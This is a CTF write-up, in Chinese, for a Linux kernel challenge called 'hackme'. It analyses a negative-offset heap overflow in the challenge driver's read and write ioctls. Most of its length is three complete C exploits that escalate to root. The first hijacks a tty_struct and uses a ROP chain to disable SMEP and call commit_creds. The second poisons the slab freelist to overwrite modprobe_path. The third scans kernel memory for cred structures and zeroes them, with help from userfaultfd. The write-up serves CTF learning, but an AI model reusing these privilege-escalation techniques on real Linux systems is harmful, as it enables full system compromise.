0%

Tty_struct Attack+Modprobe_path Attack+Cred Attack

hackme

1
2
3
4
5
6
7
8
9
10
11
#! /bin/sh
qemu-system-x86_64 \
-m 256M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=4,threads=2 \
#-gdb tcp::4869 -S \
-cpu qemu64,smep,smap 2>/dev/null
  • smep,smap,kaslr

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
if ( cmd == 0x30002 )                       // HACK_WRITE
{
index = userdata.index;
kheap_ptr = pool[index].ptr;
kheap = &pool[index];
if ( kheap_ptr && userdata.offset + userdata.size <= kheap->size )
{
copy_from_user(&kheap_ptr[userdata.offset], userdata.data, userdata.size);
return 0LL;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
else if ( cmd == 0x30003 )                  // HACK_READ
{
index = userdata.index;
kheap_ptr = pool[index].ptr;
kheap = &pool[index];
if ( kheap_ptr )
{
if ( userdata.offset + userdata.size <= kheap->size )
{
copy_to_user(userdata.data, &kheap_ptr[userdata.offset], userdata.size);
return 0LL;
}
}
}
  • userdata.offset 是符号数,并且没有限制其必须为正数
  • userdata.offset 为负数就可以在 kheap_ptr[userdata.offset] 中向上溢出

入侵思路 - Tty_struct Attack

tty_struct attack 可以用于泄露 kernel_base,如果想用它来提权,则需要泄露 heap_addr

本题目的溢出可以轻松泄露空闲块的 next 指针,然后泄露出 heap_addr

1
2
3
4
5
kcreate(2,buf,0x100);
kcreate(3,buf,0x100);
kfree(2);
kread(3,buf,0x100,-0x100);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
  • 释放 “内存块2” 后,通过 “内存块3” 向上泄露内存快2的 next 指针
  • 这源自于 slab 的一个机制:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/20xg 0xffffa1f380179400
0xffffa1f380179400: 0xffffa1f380179600 0x0000000000000000
0xffffa1f380179410: 0x0000000000000000 0x0000000000000000
0xffffa1f380179420: 0x0000000000000000 0x0000000000000000
0xffffa1f380179430: 0x0000000000000000 0x0000000000000000
0xffffa1f380179440: 0x0000000000000000 0x0000000000000000
pwndbg> x/20xg 0xffffa1f380179600
0xffffa1f380179600: 0xffffa1f380179700 0xdf84653679b215c3
0xffffa1f380179610: 0xc7e58d27141d6541 0x875eeb6934a2d05d
0xffffa1f380179620: 0x32e830be7c767f6e 0xc8103477ca4944c2
0xffffa1f380179630: 0x88364f1e93ef79cc 0x2ba3fb91bbc17dd4
0xffffa1f380179640: 0x4ae5ec2914d5d54d 0xa34247ff14fc9404
pwndbg> x/20xg 0xffffa1f380179700
0xffffa1f380179700: 0xffffa1f380179800 0x2d87f67ef5f84679
0xffffa1f380179710: 0x224428f2894924d4 0x8c097463e73b5f8f
0xffffa1f380179720: 0x51e6f451fc6c7d48 0xf7f1f1c979b53b2c
0xffffa1f380179730: 0xe4bddcf6395344b1 0x66766646ae4ea583
  • 空闲块都会有一个 next 指针,用于指向下一个内存块
  • Slab 将内核中经常使用的对象放到高速缓存中,并且由系统保持为初始的可利用状态,因此上图中的 0x400 0x600 0x700 都是 free 状态

由于系统开启了 smap,内核需要使用 copy_from_user 才能访问用户态数据,于是我们利用 kcreatefake_tty_operations 指针和 rop 指针保存到内核的堆里:

1
2
kcreate(2,(char *)rop,0x100);
kcreate(3,(char *)fake_tty_operations,0x100);

对于 tty_struct attack,还需要一个关键的 gadget,其目的是为了栈迁移(把 RAX 中的数据转移到 RSP 中):

  • 最直接的 gadget 就是 mov rax, rsp
  • 如果没有就以其他寄存器为中介
  • 如果还是没有就只能用 push rax + pop rsp

剩下的操作就比较套路化了,可以当做是 tty_struct attack 的模板,注意控制一下 CR4 寄存器就好

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <pthread.h>

#define RAW_KERNEL_BASE 0XFFFFFFFF81000000

#define HACK_FREE 0x30001
#define HACK_WRITE 0x30002
#define HACK_READ 0x30003
#define HACK_CREATE 0x30000

size_t MOV_CR4_RAX = 0xffffffff8100252b - RAW_KERNEL_BASE; // mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t SWAPGS = 0xffffffff81200c2e - RAW_KERNEL_BASE; // swapgs ; popfq ; pop rbp ; ret
size_t IRETQ = 0xFFFFFFFF81019356 - RAW_KERNEL_BASE; // iretq; pop rbp; ret;

size_t COMMIT_CREDS = 0xFFFFFFFF8104D220 - RAW_KERNEL_BASE;
size_t PREPARE_KERNEL_CRED = 0xFFFFFFFF8104D3D0 - RAW_KERNEL_BASE;

//size_t PUSH_RAX_POP_RSP = 0xffffffff810608d5 - RAW_KERNEL_BASE; // push rax; pop rsp; ret;
size_t PUSH_RAX_POP_RSP = 0xffffffff8116b3c5 - RAW_KERNEL_BASE; // push rax; sub byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
size_t POP_RAX = 0xffffffff8101b5a1 - RAW_KERNEL_BASE; // pop rax; ret;
size_t POP_RSP = 0xffffffff810484f0 - RAW_KERNEL_BASE; // pop rsp; ret;

int fd;

void initFD() {
fd = open("/dev/hackme",0);
if (fd < 0) {
printf("open file error!!\n");
exit(-1);
}
}

typedef struct Item{
int index;
char *buf;
int64_t size;
int64_t offset;
}item;

void kcreate(unsigned int index,char *buf,int64_t size) {
item data;
data.index = index;
data.buf = buf;
data.size = size;
data.offset = 0;
ioctl(fd,HACK_CREATE,&data);
}

void kfree(unsigned int index) {
item data;
data.index = index;
ioctl(fd,HACK_FREE,&data);
}

void kwrite(unsigned int index,char *buf,int64_t size,int64_t offset){
item data;
data.index = index;
data.buf = buf;
data.size = size;
data.offset = offset;
ioctl(fd,HACK_WRITE,&data);
}

void kread(unsigned int index,char *buf,int64_t size,int64_t offset) {
item data;
data.index = index;
data.buf = buf;
data.size = size;
data.offset = offset;
ioctl(fd,HACK_READ,&data);
}

char buf[0x1000] = {0};

void init_addr(size_t kernel_base) {
MOV_CR4_RAX += kernel_base;
SWAPGS += kernel_base;
IRETQ += kernel_base;
COMMIT_CREDS += kernel_base;
PREPARE_KERNEL_CRED += kernel_base;
PUSH_RAX_POP_RSP += kernel_base;
POP_RSP += kernel_base;
POP_RAX += kernel_base;
printf("PUSH_RAX_POP_RSP=0x%lx\n",PUSH_RAX_POP_RSP);
}

void getRoot() {
void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
(*cc)((*pkc)(0)); // commit_creds(prepare_kernel_cred(0))
}

void getShell() {
if (getuid() == 0) {
puts("root");
system("/bin/sh");
} else {
puts("root wrong");
}
}

size_t user_cs,user_ss,user_flags,user_sp;

void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_flags;"
);
puts("saved");
}

int main() {
puts("start");
save_status();
initFD();
kcreate(0,buf,0x2E0);
kcreate(1,buf,0x2E0);
kfree(0);
kcreate(2,buf,0x100);
kcreate(3,buf,0x100);
kfree(2);
kread(3,buf,0x100,-0x100);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
printf("heap_addr=0x%lx\n",heap_addr);
size_t fake_tty_operations[0x20];
int tty_fd = open("/dev/ptmx",O_RDWR);
kread(1,buf,0x400,-0x400);
size_t kernel_base = ((size_t *)buf)[3] - 0x625D80;
printf("kernel_base=0x%lx\n",kernel_base);
init_addr(kernel_base);
//sleep(10);

size_t rop[0x20];
int i = 0;
rop[i++] = POP_RAX;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RAX;
rop[i++] = 0;
rop[i++] = (size_t)getRoot;
rop[i++] = SWAPGS;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = IRETQ;
rop[i++] = (size_t)getShell;
rop[i++] = user_cs;
rop[i++] = user_flags;
rop[i++] = user_sp;
rop[i++] = user_ss;

kcreate(2,(char *)rop,0x100);
size_t rop_addr = heap_addr;

fake_tty_operations[7] = PUSH_RAX_POP_RSP;
fake_tty_operations[0] = 0;
fake_tty_operations[1] = POP_RSP;
fake_tty_operations[2] = rop_addr;

kfree(3);
kcreate(3,(char *)fake_tty_operations,0x100);
size_t fake_tty_operations_addr = heap_addr + 0x100;
((size_t *)buf)[3] = fake_tty_operations_addr;
kwrite(1,buf,0x400,-0x400);
write(tty_fd,buf,0x10);
return 0;
}
  • ha1vk 大佬的 exp 中有个 gadget 我找不到,于是我找了另一个来替代它(我先把所有包含 pop rsp 的 gadget 重定位到一个文件中,然后再这个文件中搜索 push rax

入侵思路 - Modprobe_path Attack

modprobe_path 是用于在 Linux 内核中添加可加载的内核模块,当我们在 Linux 内核中安装或卸载新模块时,就会执行 modprobe_path 指向的程序

因此我们需要劫持 modprobe_path,劫持的方法就是利用 Slab 空闲块的 next 指针

1
2
3
4
/home/pwn # cat /proc/kallsyms | grep modprobe_path
ffffffff8483f960 D modprobe_path
/home/pwn # cat /proc/kallsyms | grep startup_64
ffffffff84000000 T startup_64
  • 这里可以计算出 modprobe_path 的偏移

如果通过劫持 next 指针实现 WAA,就需要注意一个细节:

  • 通过 fake next 指针申请的内存块是不合法的,并且会破坏 Slab 原本的次序
  • 这会导致在后续的 system 中出现错误(因为 system 也会利用 Slab 来分配内存)
  • 因此,我们在执行 system 前需要先 kfree 一些内存块,使 system 优先申请这些合法的内存块,从而避免报错

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <pthread.h>

#define HACK_FREE 0x30001
#define HACK_WRITE 0x30002
#define HACK_READ 0x30003
#define HACK_CREATE 0x30000

size_t modprobe_path = 0xffffffff8483f960 - 0xffffffff84000000;

int fd;

void initFD() {
fd = open("/dev/hackme",0);
if (fd < 0) {
printf("open file error!!\n");
exit(-1);
}
}

typedef struct Item{
int index;
char *buf;
int64_t size;
int64_t offset;
}item;

void kcreate(unsigned int index,char *buf,int64_t size) {
item data;
data.index = index;
data.buf = buf;
data.size = size;
data.offset = 0;
ioctl(fd,HACK_CREATE,&data);
}

void kfree(unsigned int index) {
item data;
data.index = index;
ioctl(fd,HACK_FREE,&data);
}

void kwrite(unsigned int index,char *buf,int64_t size,int64_t offset){
item data;
data.index = index;
data.buf = buf;
data.size = size;
data.offset = offset;
ioctl(fd,HACK_WRITE,&data);
}

void kread(unsigned int index,char *buf,int64_t size,int64_t offset) {
item data;
data.index = index;
data.buf = buf;
data.size = size;
data.offset = offset;
ioctl(fd,HACK_READ,&data);
}

char buf[0x1000] = {0};
char tmp[0x20] = {0};

void init_addr(size_t kernel_base) {
modprobe_path += kernel_base;
printf("modprobe_path=0x%lx\n",modprobe_path);
}

void getShell() {
if (getuid() == 0) {
puts("root");
system("/bin/sh");
} else {
puts("root wrong");
}
}

int main() {
puts("start");
initFD();
kcreate(0,buf,0x2E0);
kcreate(1,buf,0x2E0);
kfree(0);
kcreate(2,buf,0x100);
kcreate(3,buf,0x100);

kcreate(4,buf,0x100);
kcreate(5,buf,0x100);
kcreate(6,buf,0x100);
kcreate(7,buf,0x100);
kcreate(8,buf,0x100);

kfree(2);
kread(3,buf,0x100,-0x100);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
printf("heap_addr=0x%lx\n",heap_addr);
size_t fake_tty_operations[0x20];
int tty_fd = open("/dev/ptmx",O_RDWR);
kread(1,buf,0x400,-0x400);
size_t kernel_base = ((size_t *)buf)[3] - 0x625D80;
printf("kernel_base=0x%lx\n",kernel_base);
init_addr(kernel_base);
*((size_t *)buf) = modprobe_path;
*((size_t *)(buf+0x8)) = 0x100;
kwrite(3,buf,0x100,-0x100);

kcreate(2,buf,0x100);
kcreate(10,buf,0x100);
strcpy(tmp,"/tmp/shell.sh");
kwrite(4,tmp,0x20,0);

kfree(3);
kfree(4);
kfree(5);
kfree(6);
kfree(7);
kfree(8);

system("echo '#!/bin/sh' > /tmp/shell.sh");
system("echo 'chmod 777 /flag' >> /tmp/shell.sh");
system("chmod +x /tmp/shell.sh");

system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
system("cat /flag");

sleep(10);

return 0;
}

入侵思路 - Cred Attack

cred attack 的思路特别简单,扫描到 cred 然后将其修改

扫描的过程中,通常有两种定位方法:

  • task_struct 中,通过 *real_cred*cred 下方的字符串间接定位到 *cred,然后利用该指针获取 cred 的地址
1
2
3
const struct cred __rcu		*real_cred;
const struct cred __rcu *cred;
char comm[TASK_COMM_LEN];
  • cred 中,通过以下8个字段都等于 UID 来直接定位 cred(UID 通常为 1000)
1
2
3
4
5
6
7
8
kuid_t		uid;		/* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */

定位到 cred 以后,就可以把 [uid] - [fsgid] 这8个字段全部置空,然后把置空后的数据返回给内核

在这个过程中,唯一的问题就是需要的空间太大,在用户态必须用 mmap 进行分配,而 copy_from_user 在检测到 mmap 分配空间后就会报错

其实 Double Fetch 中的 userfaultfd 机制早就解决了这个问题,因为我们不需要使用它进行条件竞争,于是我们在 handler 里进行 sleep 就好

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#include <stdio.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <assert.h>
#include <poll.h>

#define HACK_FREE 0x30001
#define HACK_WRITE 0x30002
#define HACK_READ 0x30003
#define HACK_CREATE 0x30000

#define DATA_OFFSET 0x160000
#define SEARCH_SIZE 0x10000
#define UID 1000

#define __NR_userfaultfd 323

int fd;
uint64_t fault_page;
uint64_t fault_page_len;

void initFD() {
fd = open("/dev/hackme",0);
if (fd < 0) {
printf("open file error!!\n");
exit(-1);
}
}

void errExit(char *msg) {
puts(msg);
exit(-1);
}

typedef struct Item{
int index;
char *buf;
int64_t size;
int64_t offset;
}item;

void kcreate(unsigned int index,char *buf,int64_t size) {
item data;
data.index = index;
data.buf = buf;
data.size = size;
data.offset = 0;
ioctl(fd,HACK_CREATE,&data);
}

void kfree(unsigned int index) {
item data;
data.index = index;
ioctl(fd,HACK_FREE,&data);
}

void kwrite(unsigned int index,char *buf,int64_t size,int64_t offset){
item data;
data.index = index;
data.buf = buf;
data.size = size;
data.offset = offset;
ioctl(fd,HACK_WRITE,&data);
}

void kread(unsigned int index,char *buf,int64_t size,int64_t offset) {
item data;
data.index = index;
data.buf = buf;
data.size = size;
data.offset = offset;
ioctl(fd,HACK_READ,&data);
}

void while_getroot()
{
while(1) {
sleep(1);
if (getuid() == 0) {
puts("get root");
execl("/bin/sh", "sh", NULL);
exit(0);
}
}
}

void* handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] leak_handler created");
sleep(0x100);
/*
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);
if (nready != 1)
errExit("[-] Wrong pool return value");
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-]msg error!!");
}

char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-]mmap page error!!");
struct uffdio_copy uc;

memset(page, 0, sizeof(page));
// memcpy(page,&modprobe_path,8);
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak_handler done!!");
return NULL;
*/
}

void register_userfault()
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("ioctl-UFFDIO_REGISTER");

int s = pthread_create(&thr, NULL, handler, (void *)uffd);
if (s != 0) {
errExit("pthread_create");
}
}

int main()
{
int i, j;
uint64_t size, offset, cred_offset=0;
uint32_t idx, cred_count;
uint32_t * uint_ptr;
char data[0x100];

initFD();
for(i=0;i<10;i++){
if(fork() == 0){
while_getroot();
}
}

char *read_ptr = (char*)mmap(NULL, DATA_OFFSET, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(read_ptr == MAP_FAILED){
errExit("mmap mem error\n");
}

kcreate(0,data,0x100);
kread(0,read_ptr,DATA_OFFSET,-DATA_OFFSET);

uint_ptr = (uint32_t *) read_ptr;
cred_count = 0;
printf("[+] trying to find struct cred....\n");
for(int i = 0; i < SEARCH_SIZE/4; i++) {
if (uint_ptr[i] == UID && uint_ptr[i+1] == UID && uint_ptr[i+2] == UID && uint_ptr[i+3] == UID && uint_ptr[i+4] == UID && uint_ptr[i+5] == UID && uint_ptr[i+6] == UID && uint_ptr[i+7] == UID){
printf("[+] find cred at offset: 0x%x\n", i*4);
for(j = 0; j < 8; j++)
uint_ptr[i+j] = 0;
cred_count++;
if(cred_count >= 2) {
cred_offset = i*4;
break;
}
}
}
if(cred_offset == 0)
errExit("can't find cred");

char * write_ptr = (char*)mmap(NULL, DATA_OFFSET, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(write_ptr, read_ptr, SEARCH_SIZE);

fault_page = (uint64_t)write_ptr + SEARCH_SIZE;
fault_page_len = DATA_OFFSET - SEARCH_SIZE;
register_userfault();

puts("write root cred back");
kwrite(0, write_ptr, DATA_OFFSET, -DATA_OFFSET);

return 0;
}